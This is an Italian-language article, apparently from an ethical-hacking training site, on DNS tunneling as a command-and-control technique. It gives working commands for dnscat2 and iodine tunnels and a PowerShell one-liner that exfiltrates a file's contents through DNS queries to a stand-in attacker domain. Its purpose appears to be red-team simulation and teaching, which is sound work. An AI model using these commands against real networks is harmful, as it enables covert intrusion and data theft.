Tunneling DNS: Application Layer Protocol: DNS (T1071.004)

I criminali informatici sfruttano il protocollo DNS per nascondere le loro comunicazioni malevole nel traffico di rete legittimo. Questa tecnica permette di stabilire canali di comando e controllo aggirando i sistemi di sicurezza che raramente bloccano il traffico DNS, essendo fondamentale per il funzionamento di qualsiasi rete aziendale.

Il DNS tunneling rientra nella tattica TA0011 (Command and Control) e rappresenta una delle tecniche più insidiose per mantenere la persistenza in una rete compromessa. Gli attaccanti nascondono comandi e dati rubati all'interno di query DNS apparentemente innocue, sfruttando i vari campi del protocollo come i record TXT, A o AAAA.

L'efficacia di questa tecnica è dimostrata dal suo utilizzo diffuso: 11 gruppi APT documentati, 41 famiglie di malware e una campagna maggiore recente la sfruttano attivamente. La sua popolarità deriva dal fatto che il traffico DNS attraversa firewall e proxy anche prima che l'autenticazione di rete sia completata, rendendolo un vettore ideale per le comunicazioni malevole iniziali.

Il DNS tunneling può essere testato rapidamente con tool open source come dnscat2. L'installazione del server richiede pochi comandi su una macchina Linux con indirizzo pubblico:

git clone https://github.com/iagox86/dnscat2.git && cd dnscat2/server && ruby dnscat2.rb yourdomain.com

Sul client Windows compromesso, il beacon si attiva scaricando il client precompilato ed eseguendo:

dnscat2-win32.exe --dns server=8.8.8.8,domain=yourdomain.com --secret=shared

Per simulazioni più avanzate, Cobalt Strike offre profili DNS predefiniti che replicano il comportamento di APT reali. La configurazione richiede la modifica del profilo Malleable C2 aggiungendo la sezione dns_beacon con parametri specifici per i record TXT.

Su Linux, iodine rappresenta un'alternativa efficace per tunnel stabili. Il server si avvia con iodined -f 10.0.0.1 tunnel.yourdomain.com mentre il client stabilisce la connessione tramite iodine -f -P password tunnel.yourdomain.com.

Gli attaccanti più sofisticati come APT41 e FIN7 utilizzano implementazioni custom che suddividono i dati in chunk codificati in base32 o base64. Questi vengono poi inseriti come sottodomini in query legittime, rendendo il traffico ancora più difficile da identificare.

Per replicare tecniche avanzate di data exfiltration, PowerShell offre capacità native:

$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content sensitive.txt))); Resolve-DnsName "$data.tunnel.yourdomain.com"

I test dovrebbero includere variazioni nel timing delle query per simulare il beaconing intermittente tipico di malware come SUNBURST, che attendeva ore o giorni tra una comunicazione e l'altra per evitare il rilevamento.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.